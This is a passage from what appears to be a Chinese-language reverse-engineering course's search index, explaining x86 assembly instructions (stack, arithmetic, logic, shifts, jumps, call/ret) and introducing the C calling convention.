\u6307\u4ee4\u5c06\u5b83\u7684\u53c2\u6570\u79fb\u52a8\u5230\u786c\u4ef6\u652f\u6301\u7684\u6808\u5185\u5b58\u9876\u7aef. \u7279\u522b\u5730, push
\u9996\u5148\u5c06 ESP \u4e2d\u7684\u503c\u51cf\u5c11 4, \u7136\u540e\u5c06\u5b83\u7684\u53c2\u6570\u79fb\u52a8\u5230\u4e00\u4e2a 32 \u4f4d\u7684\u5730\u5740\u5355\u5143 ( %esp ). ESP ( \u6808\u6307\u9488 ) \u4f1a\u968f\u7740\u4e0d\u65ad\u5165\u6808\u4ece\u800c\u6301\u7eed\u9012\u51cf, \u5373\u6808\u5185\u5b58\u662f\u4ece\u9ad8\u5730\u5740\u5355\u5143\u5230\u4f4e\u5730\u5740\u5355\u5143\u589e\u957f.
push <reg32\npush <mem\npush <con32\n
push %eax ;\u5c06 EAX \u9001\u5165\u6808\npush var(,1) ;\u5c06 var \u5bf9\u5e94\u7684 4 \u5b57\u8282\u5927\u5c0f\u7684\u6570\u636e\u9001\u5165\u6808\u4e2d\n
pop
\u51fa\u6808pop
\u6307\u4ee4\u4ece\u786c\u4ef6\u652f\u6301\u7684\u6808\u5185\u5b58\u9876\u7aef\u79fb\u9664 4 \u5b57\u8282\u7684\u6570\u636e, \u5e76\u628a\u8fd9\u4e2a\u6570\u636e\u653e\u5230\u8be5\u6307\u4ee4\u6307\u5b9a\u7684\u53c2\u6570\u4e2d ( \u5373\u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58\u5355\u5143 ). \u5176\u9996\u5148\u5c06\u5185\u5b58\u4e2d ( %esp ) \u7684 4 \u5b57\u8282\u6570\u636e\u653e\u5230\u6307\u5b9a\u7684\u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58\u5355\u5143\u4e2d, \u7136\u540e\u8ba9 ESP + 4.
pop <reg32\npop <mem\n
pop %edi ;\u5c06\u6808\u9876\u7684\u5143\u7d20\u79fb\u9664, \u5e76\u653e\u5165\u5230\u5bc4\u5b58\u5668 EDI \u4e2d.\npop (%ebx) ;\u5c06\u6808\u9876\u7684\u5143\u7d20\u79fb\u9664, \u5e76\u653e\u5165\u4ece EBX \u5f00\u59cb\u7684 4 \u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u5185\u5b58\u5355\u5143\u4e2d.\n
\u91cd\u70b9\u5185\u5bb9 : \u6808 \u6808\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u5b58\u50a8\u7a7a\u95f4, \u7279\u6b8a\u5728\u5b83\u7684\u8bbf\u95ee\u5f62\u5f0f\u4e0a, \u5b83\u7684\u8bbf\u95ee\u5f62\u5f0f\u5c31\u662f\u6700\u540e\u8fdb\u5165\u8fd9\u4e2a\u7a7a\u95f4\u7684\u6570\u636e, \u6700\u5148\u51fa\u53bb, \u4e5f\u5c31\u662f \"\u5148\u8fdb\u540e\u51fa, \u540e\u8fdb\u5148\u51fa\".
lea
\u52a0\u8f7d\u6709\u6548\u5730\u5740lea
\u6307\u4ee4\u5c06\u5176\u7b2c\u4e00\u4e2a\u53c2\u6570\u6307\u5b9a\u7684\u5185\u5b58\u5355\u5143 \u653e\u5165\u5230 \u7b2c\u4e8c\u4e2a\u53c2\u6570\u6307\u5b9a\u7684\u5bc4\u5b58\u5668\u4e2d. \u6ce8\u610f, \u8be5\u6307\u4ee4\u4e0d\u52a0\u8f7d\u5185\u5b58\u5355\u5143\u4e2d\u7684\u5185\u5bb9, \u53ea\u662f\u8ba1\u7b97\u6709\u6548\u5730\u5740\u5e76\u5c06\u5176\u653e\u5165\u5bc4\u5b58\u5668. \u8fd9\u5bf9\u4e8e\u83b7\u5f97\u6307\u5411\u5b58\u50a8\u5668\u533a\u57df\u7684\u6307\u9488\u6216\u8005\u6267\u884c\u7b80\u5355\u7684\u7b97\u672f\u8fd0\u7b97\u975e\u5e38\u6709\u7528.
\u4e5f\u8bb8\u8fd9\u91cc\u4f60\u4f1a\u770b\u5f97\u4e00\u5934\u96fe\u6c34, \u4e0d\u8fc7\u4f60\u4e0d\u5fc5\u62c5\u5fc3, \u8fd9\u91cc\u6709\u66f4\u4e3a\u901a\u4fd7\u6613\u61c2\u7684\u89e3\u91ca. \u6c47\u7f16\u8bed\u8a00\u4e2d lea \u6307\u4ee4\u548c mov \u6307\u4ee4\u7684\u533a\u522b ? MOV
\u6307\u4ee4\u7684\u529f\u80fd\u662f\u4f20\u9001\u6570\u636e\uff0c\u4f8b\u5982 MOV AX,[1000H]
\uff0c\u4f5c\u7528\u662f\u5c06 1000H \u4f5c\u4e3a\u504f\u79fb\u5730\u5740\uff0c\u5bfb\u5740\u627e\u5230\u5185\u5b58\u5355\u5143\uff0c\u5c06\u8be5\u5185\u5b58\u5355\u5143\u4e2d\u7684\u6570\u636e\u9001\u81f3 AX\uff1b LEA
\u6307\u4ee4\u7684\u529f\u80fd\u662f\u53d6\u504f\u79fb\u5730\u5740\uff0c\u4f8b\u5982 LEA AX,[1000H]
\uff0c\u4f5c\u7528\u662f\u5c06\u6e90\u64cd\u4f5c\u6570 [1000H] \u7684\u504f\u79fb\u5730\u5740 1000H \u9001\u81f3 AX\u3002\u7406\u89e3\u65f6\uff0c\u53ef\u76f4\u63a5\u5c06[ ]\u53bb\u6389\uff0c\u7b49\u540c\u4e8e MOV AX,1000H
\u3002 \u518d\u5982\uff1aLEA BX,[AX]
\uff0c\u7b49\u540c\u4e8e MOV BX,AX
\uff1bLEA BX,TABLE
\u7b49\u540c\u4e8e MOV BX,OFFSET TABLE
\u3002 \u4f46\u6709\u65f6\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528 MOV
\u4ee3\u66ff\uff1a \u6bd4\u5982\uff1aLEA AX,[SI+6]
\u4e0d\u80fd\u76f4\u63a5\u66ff\u6362\u6210\uff1aMOV AX,SI+6
\uff1b\u4f46\u53ef\u66ff\u6362\u4e3a\uff1a MOV AX,SI
ADD AX,6
\u4e24\u6b65\u5b8c\u6210\u3002
\u53c2\u8003\u94fe\u63a5
lea <mem, <reg32\n
lea (%ebx,%esi,8), %edi ;EBX+8*ESI \u7684\u503c\u88ab\u79fb\u5165\u5230\u4e86 EDI\nlea val(,1), %eax ;val \u7684\u503c\u88ab\u79fb\u5165\u5230\u4e86 EAX\n
"},{"location":"Training/Material/Reverse/#3342","title":"3.3.4.2 \u903b\u8f91\u8fd0\u7b97\u6307\u4ee4","text":"add
\u6574\u6570\u76f8\u52a0add
\u6307\u4ee4\u5c06\u4e24\u4e2a\u53c2\u6570\u76f8\u52a0, \u7136\u540e\u5c06\u7ed3\u679c\u5b58\u653e\u5230\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e2d. \u6ce8\u610f, \u53c2\u6570\u53ef\u4ee5\u662f\u5bc4\u5b58\u5668,\u4f46\u53c2\u6570\u4e2d\u6700\u591a\u53ea\u6709\u4e00\u4e2a\u5185\u5b58\u5355\u5143. \u8fd9\u8bdd\u6709\u70b9\u7ed5, \u6211\u4eec\u76f4\u63a5\u770b\u8bed\u6cd5 :
add <reg, <reg\nadd <mem, <reg\nadd <reg, <mem\nadd <con, <reg\nadd <con, <mem\n
add $10, %eax ;EAX \u4e2d\u7684\u503c\u88ab\u8bbe\u7f6e\u4e3a\u4e86 EAX+10.\naddb $10, (%eax) ;\u5f80 EAX \u4e2d\u7684\u503c \u6240\u4ee3\u8868\u7684\u5185\u5b58\u5355\u5143\u5730\u5740 \u52a0\u4e0a 1 \u4e2a\u5b57\u8282\u7684\u6570\u5b57 10.\n
sub
\u6574\u6570\u76f8\u51cfsub
\u6307\u4ee4\u5c06\u7b2c\u4e8c\u4e2a\u53c2\u6570\u7684\u503c\u4e0e\u7b2c\u4e00\u4e2a\u76f8\u51cf, \u5c31\u662f\u540e\u9762\u90a3\u4e2a\u51cf\u53bb\u524d\u9762\u90a3\u4e2a, \u7136\u540e\u628a\u7ed3\u679c\u5b58\u50a8\u5230\u7b2c\u4e8c\u4e2a\u53c2\u6570. \u548cadd
\u4e00\u6837, \u4e24\u4e2a\u53c2\u6570\u90fd\u53ef\u4ee5\u662f\u5bc4\u5b58\u5668, \u4f46\u4e24\u4e2a\u53c2\u6570\u4e2d\u6700\u591a\u53ea\u80fd\u6709\u4e00\u4e2a\u662f\u5185\u5b58\u5355\u5143.
sub <reg, <reg\nsub <mem, <reg\nsub <con, <reg\nsub <con, <mem\n
sub %ah, %al ;AL \u88ab\u8bbe\u7f6e\u6210 AL-AH\nsub $216, %eax ;\u5c06 EAX \u4e2d\u7684\u503c\u51cf\u53bb 216\n
inc, dec
\u81ea\u589e, \u81ea\u51cfinc
\u6307\u4ee4\u8ba9\u5b83\u7684\u53c2\u6570\u52a0 1, dec
\u6307\u4ee4\u5219\u662f\u8ba9\u5b83\u7684\u53c2\u6570\u51cf\u53bb 1.
inc <reg\ninc <mem\ndec <reg\ndec <mem\n
dec %eax ;EAX \u4e2d\u7684\u503c\u51cf\u53bb 1\nincl var(,1) ;\u5c06 var \u6240\u4ee3\u8868\u7684 32 \u4f4d\u6574\u6570\u52a0\u4e0a 1.\n
imul
\u6574\u6570\u76f8\u4e58imul
\u6307\u4ee4\u6709\u4e24\u79cd\u57fa\u672c\u683c\u5f0f : \u7b2c\u4e00\u79cd\u662f 2 \u4e2a\u53c2\u6570\u7684 ( \u770b\u4e0b\u9762\u8bed\u6cd5\u5f00\u59cb\u4e24\u6761 ); \u7b2c\u4e8c\u79cd\u683c\u5f0f\u662f 3 \u4e2a\u53c2\u6570\u7684 ( \u770b\u4e0b\u9762\u8bed\u6cd5\u6700\u540e\u4e24\u6761 ).
2 \u4e2a\u53c2\u6570\u7684\u8fd9\u79cd\u683c\u5f0f, \u5148\u662f\u5c06\u4e24\u4e2a\u53c2\u6570\u76f8\u4e58, \u7136\u540e\u628a\u7ed3\u679c\u5b58\u5230\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e2d. \u8fd0\u7b97\u7ed3\u679c ( \u5373\u7b2c\u4e8c\u4e2a\u53c2\u6570 ) \u5fc5\u987b\u662f\u4e00\u4e2a\u5bc4\u5b58\u5668.
3 \u4e2a\u53c2\u6570\u7684\u8fd9\u79cd\u683c\u5f0f, \u5148\u662f\u5c06\u5b83\u7684\u7b2c 1 \u4e2a\u53c2\u6570\u548c\u7b2c 2 \u4e2a\u53c2\u6570\u76f8\u4e58, \u7136\u540e\u628a\u7ed3\u679c\u5b58\u5230\u7b2c 3 \u4e2a\u53c2\u6570\u4e2d, \u5f53\u7136, \u7b2c 3 \u4e2a\u53c2\u6570\u5fc5\u987b\u662f\u4e00\u4e2a\u5bc4\u5b58\u5668. \u6b64\u5916, \u7b2c 1 \u4e2a\u53c2\u6570\u5fc5\u987b\u662f\u4e00\u4e2a\u5e38\u6570.
imul <reg32, <reg32\nimul <mem, <reg32\nimul <con, <reg32, <reg32\nimul <con, <mem, <reg32\n
imul (%ebx), %eax ;\u5c06 EAX \u4e2d\u7684 32 \u4f4d\u6574\u6570, \u4e0e EBX \u4e2d\u7684\u5185\u5bb9\u6240\u6307\u7684\u5185\u5b58\u5355\u5143, \u76f8\u4e58, \u7136\u540e\u628a\u7ed3\u679c\u5b58\u5230 EAX \u4e2d.\nimul $25, %edi, %esi ;ESI \u88ab\u8bbe\u7f6e\u4e3a EDI * 25.\n
idiv
\u6574\u6570\u76f8\u9664idiv
\u53ea\u6709\u4e00\u4e2a\u64cd\u4f5c\u6570\uff0c\u6b64\u64cd\u4f5c\u6570\u4e3a\u9664\u6570\uff0c\u800c\u88ab\u9664\u6570\u5219\u4e3a EDX : EAX \u4e2d\u7684\u5185\u5bb9\uff08\u4e00\u4e2a64\u4f4d\u7684\u6574\u6570\uff09\uff0c \u9664\u6cd5\u7ed3\u679c ( \u5546 ) \u5b58\u5728 EAX \u4e2d, \u800c\u6240\u5f97\u7684\u4f59\u6570\u5b58\u5728 EDX \u4e2d.
idiv <reg32\nidiv <mem\n
idiv %ebx ;\u7528 EDX : EAX \u7684\u503c\u9664\u4ee5 EBX \u7684\u503c. \u5546\u5b58\u653e\u5728 EAX \u4e2d, \u4f59\u6570\u5b58\u653e\u5728 EDX \u4e2d.\nidivw (%ebx) ;\u5c06 EDX : EAX \u7684\u503c\u9664\u4ee5\u5b58\u50a8\u5728 EBX \u6240\u5bf9\u5e94\u5185\u5b58\u5355\u5143\u7684 32 \u4f4d\u503c. \u5546\u5b58\u653e\u5728 EAX \u4e2d, \u4f59\u6570\u5b58\u653e\u5728 EDX \u4e2d.\n
and, or, xor
\u6309\u4f4d\u903b\u8f91 \u4e0e, \u6216, \u5f02\u6216 \u8fd0\u7b97\u8fd9\u4e9b\u6307\u4ee4\u5206\u522b\u5bf9\u5b83\u4eec\u7684\u53c2\u6570\u8fdb\u884c\u76f8\u5e94\u7684\u903b\u8f91\u8fd0\u7b97, \u8fd0\u7b97\u7ed3\u679c\u5b58\u5230\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e2d.
and <reg, <reg\nand <mem, <reg\nand <reg, <mem\nand <con, <reg\nand <con, <mem\n\nor <reg, <reg\nor <mem, <reg\nor <reg, <mem\nor <con, <reg\nor <con, <mem\n\nxor <reg, <reg\nxor <mem, <reg\nxor <reg, <mem\nxor <con, <reg\nxor <con, <mem\n
and $0x0F, %eax ;\u53ea\u7559\u4e0b EAX \u4e2d\u6700\u540e 4 \u4f4d\u6570\u5b57 (\u4e8c\u8fdb\u5236\u4f4d)\nxor %edx, %edx ;\u5c06 EDX \u7684\u503c\u5168\u90e8\u8bbe\u7f6e\u6210 0\n
not
\u903b\u8f91\u4f4d\u8fd0\u7b97 \u975e\u5bf9\u53c2\u6570\u8fdb\u884c\u903b\u8f91\u975e\u8fd0\u7b97, \u5373\u7ffb\u8f6c\u53c2\u6570\u4e2d\u6240\u6709\u4f4d\u7684\u503c.
not <reg\nnot <mem\n
not %eax ;\u5c06 EAX \u7684\u6240\u6709\u503c\u7ffb\u8f6c.\n
neg
\u53d6\u8d1f\u6307\u4ee4\u53d6\u53c2\u6570\u7684\u4e8c\u8fdb\u5236\u8865\u7801\u8d1f\u6570. \u76f4\u63a5\u770b\u4f8b\u5b50\u4e5f\u8bb8\u4f1a\u66f4\u597d\u61c2.
neg <reg\nneg <mem\n
neg %eax ;EAX \u2192 -EAX\n
shl, shr
\u6309\u4f4d\u5de6\u79fb\u6216\u8005\u53f3\u79fb\u8fd9\u4e24\u4e2a\u6307\u4ee4\u5bf9\u7b2c\u4e00\u4e2a\u53c2\u6570\u8fdb\u884c\u4f4d\u8fd0\u7b97, \u79fb\u52a8\u7684\u4f4d\u6570\u7531\u7b2c\u4e8c\u4e2a\u53c2\u6570\u51b3\u5b9a, \u79fb\u52a8\u8fc7\u540e\u7684\u7a7a\u4f4d\u62ff 0 \u8865\u4e0a.\u88ab\u79fb\u7684\u53c2\u6570\u6700\u591a\u53ef\u4ee5\u88ab\u79fb 31 \u4f4d. \u7b2c\u4e8c\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f 8 \u4f4d\u5e38\u6570\u6216\u8005\u5bc4\u5b58\u5668 CL. \u5728\u4efb\u610f\u60c5\u51b5\u4e0b, \u5927\u4e8e 31 \u7684\u79fb\u4f4d\u90fd\u9ed8\u8ba4\u662f\u4e0e 32 \u53d6\u6a21.
shl <con8, <reg\nshl <con8, <mem\nshl %cl, <reg\nshl %cl, <mem\n\nshr <con8, <reg\nshr <con8, <mem\nshr %cl, <reg\nshr %cl, <mem\n
shl $1, %eax ;\u5c06 EAX \u7684\u503c\u4e58\u4ee5 2 (\u5982\u679c\u6700\u9ad8\u6709\u6548\u4f4d\u662f 0 \u7684\u8bdd)\nshr %cl, %ebx ;\u5c06 EBX \u7684\u503c\u9664\u4ee5 2n, \u5176\u4e2d n \u4e3a CL \u4e2d\u7684\u503c, \u8fd0\u7b97\u6700\u7ec8\u7ed3\u679c\u5b58\u5230 EBX \u4e2d.\n\u4f60\u4e5f\u8bb8\u4f1a\u60f3, \u660e\u660e\u53ea\u662f\u628a\u6570\u5b57\u4e8c\u8fdb\u5236\u79fb\u4e86 1 \u4f4d, \u7ed3\u679c\u5374\u662f\u7b49\u4e8e\u8fd9\u4e2a\u6570\u5b57\u4e58\u4ee5 2.\u4ec0\u4e48\u60c5\u51b5 ? \u8fd9\u51e0\u4e2a\u4f4d\u8fd0\u7b97\u7684\u7ed3\u679c\u548c\u8ba1\u7b97\u673a\u8868\u793a\u6570\u5b57\u7684\u539f\u7406\u6709\u5173,\u8bf7\u770b\u672c\u7ae0\u9644\u5f55\u7684\u8ba1\u7b97\u673a\u6570\u5b57\u8868\u793a.\n
"},{"location":"Training/Material/Reverse/#3343","title":"3.3.4.3 \u6d41\u7a0b\u63a7\u5236\u6307\u4ee4","text":"x86 \u5904\u7406\u5668\u6709\u4e00\u4e2a\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668 ( EIP ), \u8be5\u5bc4\u5b58\u5668\u4e3a 32 \u4f4d\u5bc4\u5b58\u5668, \u5b83\u7528\u6765\u5728\u5185\u5b58\u4e2d\u6307\u793a\u6211\u4eec\u8f93\u5165\u6c47\u7f16\u6307\u4ee4\u7684\u4f4d\u7f6e. \u5c31\u662f\u8bf4\u8fd9\u4e2a\u5bc4\u5b58\u5668\u6307\u5411\u54ea\u4e2a\u5185\u5b58\u5355\u5143, \u90a3\u4e2a\u5355\u5143\u5b58\u50a8\u7684\u673a\u5668\u7801\u5c31\u662f\u7a0b\u5e8f\u6267\u884c\u7684\u6307\u4ee4. \u901a\u5e38\u5b83\u662f\u6307\u5411\u6211\u4eec\u7a0b\u5e8f\u8981\u6267\u884c\u7684 \u4e0b\u4e00\u6761\u6307\u4ee4. \u4f46\u662f\u4f60\u4e0d\u80fd\u76f4\u63a5\u64cd\u4f5c EIP \u5bc4\u5b58\u5668, \u4f60\u9700\u8981\u6d41\u7a0b\u63a7\u5236\u6307\u4ee4\u6765\u9690\u5f0f\u5730\u7ed9\u5b83\u8d4b\u503c.
\u6211\u4eec\u4f7f\u7528\u7b26\u53f7 <label
\u6765\u5f53\u4f5c\u7a0b\u5e8f\u4e2d\u7684\u6807\u7b7e. \u901a\u8fc7\u8f93\u5165\u6807\u7b7e\u540d\u79f0\u540e\u8ddf\u5192\u53f7, \u53ef\u4ee5\u5c06\u6807\u7b7e\u63d2\u5165 x86 \u6c47\u7f16\u4ee3\u7801\u6587\u672c\u4e2d\u7684\u4efb\u4f55\u4f4d\u7f6e. \u4f8b\u5982 :
mov 8(%ebp), %esi\nbegin:\n xor %ecx, %ecx\n mov (%esi), %eax\n
\u8be5\u4ee3\u7801\u7247\u6bb5\u4e2d\u7684\u7b2c\u4e8c\u6bb5\u88ab\u5957\u4e0a\u4e86 \" begin \" \u8fd9\u4e2a\u6807\u7b7e. \u5728\u4ee3\u7801\u7684\u5176\u5b83\u5730\u65b9, \u6211\u4eec\u53ef\u4ee5\u7528 \" begin \" \u8fd9\u4e2a\u6807\u7b7e\u4ece\u800c\u66f4\u65b9\u4fbf\u5730\u6765\u5f15\u7528\u8fd9\u6bb5\u6307\u4ee4\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e. \u8fd9\u4e2a\u6807\u7b7e\u53ea\u662f\u7528\u6765\u66f4\u65b9\u4fbf\u5730\u8868\u793a\u4f4d\u7f6e\u7684, \u5b83\u5e76\u4e0d\u662f\u7528\u6765\u4ee3\u8868\u67d0\u4e2a 32 \u4f4d\u503c.
jmp
\u8df3\u8f6c\u6307\u4ee4\u5c06\u7a0b\u5e8f\u8df3\u8f6c\u5230\u53c2\u6570\u6307\u5b9a\u7684\u5185\u5b58\u5730\u5740, \u7136\u540e\u6267\u884c\u8be5\u5185\u5b58\u5730\u5740\u7684\u6307\u4ee4.
jmp <label\n
jmp begin ;\u8df3\u8f6c\u5230\u6253\u4e86 \" begin \" \u8fd9\u4e2a\u6807\u7b7e\u7684\u5730\u65b9\n
jcondition
\u6709\u6761\u4ef6\u7684\u8df3\u8f6c\u8fd9\u4e9b\u6307\u4ee4\u662f\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4, \u5b83\u4eec\u57fa\u4e8e\u4e00\u7ec4\u6761\u4ef6\u4ee3\u7801\u7684\u72b6\u6001, \u8fd9\u4e9b\u6761\u4ef6\u4ee3\u7801\u7684\u72b6\u6001\u5b58\u653e\u5728\u79f0\u4e3a\u673a\u5668\u72b6\u6001\u5b57 ( machine status word ) \u7684\u7279\u6b8a\u5bc4\u5b58\u5668\u4e2d. \u673a\u5668\u72b6\u6001\u5b57\u7684\u5185\u5bb9\u5305\u62ec\u5173\u4e8e\u6700\u540e\u6267\u884c\u7684\u7b97\u672f\u8fd0\u7b97\u7684\u4fe1\u606f. \u4f8b\u5982, \u8fd9\u4e2a\u5b57\u7684\u4e00\u4e2a\u4f4d\u8868\u793a\u6700\u540e\u7684\u7ed3\u679c\u662f\u5426\u4e3a 0. \u53e6\u4e00\u4e2a\u4f4d\u8868\u793a\u6700\u540e\u7ed3\u679c\u662f\u5426\u4e3a\u8d1f\u6570. \u57fa\u4e8e\u8fd9\u4e9b\u6761\u4ef6\u4ee3\u7801, \u53ef\u4ee5\u6267\u884c\u8bb8\u591a\u6761\u4ef6\u8df3\u8f6c. \u4f8b\u5982, \u5982\u679c\u6700\u540e\u4e00\u6b21\u7b97\u672f\u8fd0\u7b97\u7ed3\u679c\u4e3a 0, \u5219 jz
\u6307\u4ee4\u5c31\u662f\u8df3\u8f6c\u5230\u6307\u5b9a\u53c2\u6570\u6807\u7b7e. \u5426\u5219, \u7a0b\u5e8f\u5c31\u6309\u7167\u6d41\u7a0b\u8fdb\u5165\u4e0b\u4e00\u6761\u6307\u4ee4.
\u8bb8\u591a\u6761\u4ef6\u5206\u652f\u7684\u540d\u79f0\u90fd\u662f\u5f88\u76f4\u89c2\u7684, \u8fd9\u4e9b\u6307\u4ee4\u7684\u8fd0\u884c, \u90fd\u548c\u4e00\u4e2a\u7279\u6b8a\u7684\u6bd4\u8f83\u6307\u4ee4\u6709\u5173, cmp
( \u89c1\u4e0b\u6587 ). \u4f8b\u5982, \u50cf jle
\u548c jne
\u8fd9\u79cd\u6307\u4ee4, \u5b83\u4eec\u9996\u5148\u5bf9\u53c2\u6570\u8fdb\u884c cmp
\u64cd\u4f5c.
je <label ;\u5f53\u76f8\u7b49\u7684\u65f6\u5019\u8df3\u8f6c\njne <label ;\u5f53\u4e0d\u76f8\u7b49\u7684\u65f6\u5019\u8df3\u8f6c\njz <label ;\u5f53\u6700\u540e\u7ed3\u679c\u4e3a 0 \u7684\u65f6\u5019\u8df3\u8f6c\njg <label ;\u5f53\u5927\u4e8e\u7684\u65f6\u5019\u8df3\u8f6c\njge <label ;\u5f53\u5927\u4e8e\u7b49\u4e8e\u7684\u65f6\u5019\u8df3\u8f6c\njl <label ;\u5f53\u5c0f\u4e8e\u7684\u65f6\u5019\u8df3\u8f6c\njle <label ;\u5f53\u5c0f\u4e8e\u7b49\u4e8e\u7684\u65f6\u5019\u8df3\u8f6c\n
cmp %ebx, %eax\njle done\n;\u5982\u679c EAX \u7684\u503c\u5c0f\u4e8e\u7b49\u4e8e EBX \u7684\u503c, \u5c31\u8df3\u8f6c\u5230 \" done \" \u6807\u7b7e, \u5426\u5219\u5c31\u7ee7\u7eed\u6267\u884c\u4e0b\u4e00\u6761\u6307\u4ee4.\n
cmp
\u6bd4\u8f83\u6307\u4ee4\u6bd4\u8f83\u4e24\u4e2a\u53c2\u6570\u7684\u503c, \u9002\u5f53\u5730\u8bbe\u7f6e\u673a\u5668\u72b6\u6001\u5b57\u4e2d\u7684\u6761\u4ef6\u4ee3\u7801. \u6b64\u6307\u4ee4\u4e0esub\u6307\u4ee4\u7c7b\u4f3c\uff0c\u4f46\u662fcmp\u4e0d\u7528\u5c06\u8ba1\u7b97\u7ed3\u679c\u4fdd\u5b58\u5728\u64cd\u4f5c\u6570\u4e2d.
cmp <reg, <reg\ncmp <mem, <reg\ncmp <reg, <mem\ncmp <con, <reg\n
cmpb $10, (%ebx)\njeq loop\n;\u5982\u679c EBX \u7684\u503c\u7b49\u4e8e\u6574\u6570\u5e38\u91cf 10, \u5219\u8df3\u8f6c\u5230\u6807\u7b7e \" loop \" \u7684\u4f4d\u7f6e.\n
call, ret
\u5b50\u7a0b\u5e8f\u8c03\u7528\u4e0e\u8fd4\u56de\u8fd9\u4e24\u4e2a\u6307\u4ee4\u5b9e\u73b0\u5b50\u7a0b\u5e8f\u7684\u8c03\u7528\u548c\u8fd4\u56de. call
\u6307\u4ee4\u9996\u5148\u5c06\u5f53\u524d\u4ee3\u7801\u4f4d\u7f6e\u63a8\u5230\u5185\u5b58\u4e2d\u786c\u4ef6\u652f\u6301\u7684\u6808\u5185\u5b58\u4e0a ( \u8bf7\u770b push
\u6307\u4ee4 ), \u7136\u540e\u65e0\u6761\u4ef6\u8df3\u8f6c\u5230\u6807\u7b7e\u53c2\u6570\u6307\u5b9a\u7684\u4ee3\u7801\u4f4d\u7f6e. \u4e0e\u7b80\u5355\u7684 jmp
\u6307\u4ee4\u4e0d\u540c, call
\u6307\u4ee4\u4fdd\u5b58\u4e86\u5b50\u7a0b\u5e8f\u5b8c\u6210\u65f6\u8fd4\u56de\u7684\u4f4d\u7f6e. \u5c31\u662f call
\u6307\u4ee4\u7ed3\u675f\u540e, \u8fd4\u56de\u5230\u8c03\u7528\u4e4b\u524d\u7684\u5730\u5740.
ret
\u6307\u4ee4\u5b9e\u73b0\u5b50\u7a0b\u5e8f\u7684\u8fd4\u56de. \u8be5\u6307\u4ee4\u9996\u5148\u4ece\u6808\u4e2d\u53d6\u51fa\u4ee3\u7801 ( \u7c7b\u4f3c\u4e8e pop
\u6307\u4ee4 ). \u7136\u540e\u5b83\u65e0\u6761\u4ef6\u8df3\u8f6c\u5230\u68c0\u7d22\u5230\u7684\u4ee3\u7801\u4f4d\u7f6e.
call <label\nret\n
"},{"location":"Training/Material/Reverse/#335-calling-convention","title":"3.3.5 \u8c03\u7528\u7ea6\u5b9a Calling Convention","text":"\u4e3a\u4e86\u65b9\u4fbf\u4e0d\u540c\u7684\u7a0b\u5e8f\u5458\u53bb\u5206\u4eab\u4ee3\u7801\u548c\u8fd0\u884c\u5e93, \u5e76\u7b80\u5316\u4e00\u822c\u5b50\u7a0b\u5e8f\u7684\u4f7f\u7528, \u7a0b\u5e8f\u5458\u4eec\u901a\u5e38\u4f1a\u9075\u5b88\u4e00\u5b9a\u7684\u7ea6\u5b9a ( Calling Convention ). \u8c03\u7528\u7ea6\u5b9a\u662f\u5173\u4e8e\u5982\u4f55\u4ece\u4f8b\u7a0b\u8c03\u7528\u548c\u8fd4\u56de\u7684\u534f\u8bae. \u4f8b\u5982\uff0c\u7ed9\u5b9a\u4e00\u7ec4\u8c03\u7528\u7ea6\u5b9a\u89c4\u5219\uff0c\u7a0b\u5e8f\u5458\u4e0d\u9700\u8981\u68c0\u67e5\u5b50\u4f8b\u7a0b\u7684\u5b9a\u4e49\u6765\u786e\u5b9a\u5982\u4f55\u5c06\u53c2\u6570\u4f20\u9012\u7ed9\u8be5\u5b50\u4f8b\u7a0b. \u6b64\u5916\uff0c\u7ed9\u5b9a\u4e00\u7ec4\u8c03\u7528\u7ea6\u5b9a\u89c4\u5219\uff0c\u53ef\u4ee5\u4f7f\u9ad8\u7ea7\u8bed\u8a00\u7f16\u8bd1\u5668\u9075\u5faa\u89c4\u5219\uff0c\u4ece\u800c\u5141\u8bb8\u624b\u52a8\u7f16\u7801\u7684\u6c47\u7f16\u8bed\u8a00\u4f8b\u7a0b\u548c\u9ad8\u7ea7\u8bed\u8a00\u4f8b\u7a0b\u76f8\u4e92\u8c03\u7528.
\u6211\u4eec\u5c06\u8bb2\u89e3\u88ab\u5e7f\u6cdb\u4f7f\u7528\u7684 C \u8bed\u8a00\u8c03\u7528\u7ea6\u5b9a. \u9075\u5faa\u6b64\u7ea6\u5b9a\u5c06\u5141\u8bb8\u60a8\u7f16\u5199\u53ef\u4ece C ( \u548cC ++ ) \u4ee3\u7801\u5b89\u5168\u5730\u8c03\u7528\u7684\u6c47\u7f16\u8bed\u8a00\u5b50\u4f8b\u7a0b, \u5e76\u4e14\u8fd8\u5141\u8bb8\u60a8\u4ece\u6c47\u7f16\u8bed\u8a00\u4ee3\u7801\u8c03\u7528 C \u51fd\u6570\u5e93.
C \u8c03\u7528\u7ea6\u5b9a\u5f88\u5927\u7a0b\u5ea6\u4e0a\u53d6\u51b3\u4e8e\u4f7f\u7528\u786c\u4ef6\u652f\u6301\u7684\u6808\u5185\u5b58. \u5b83\u57fa\u4e8e push
, pop
, call
\u548c ret
\u6307\u4ee4. \u5b50\u7a0b\u5e8f\u7684\u53c2\u6570\u5728\u6808\u4e0a\u4f20\u9012. \u5bc4\u5b58\u5668\u4fdd\u5b58\u5728\u6808\u4e2d, \u5b50\u7a0b\u5e8f\u4f7f\u7528\u7684\u5c40\u90e8\u53d8\u91cf\u653e\u5728\u6808\u4e2d. \u5728\u5927\u591a\u6570\u5904\u7406\u5668\u4e0a\u5b9e\u73b0\u7684\u9ad8\u7ea7\u8fc7\u7a0b\u8bed\u8a00\u90fd\u4f7f\u7528\u4e86\u7c7b\u4f3c\u7684\u8c03\u7528\u7ea6\u5b9a.
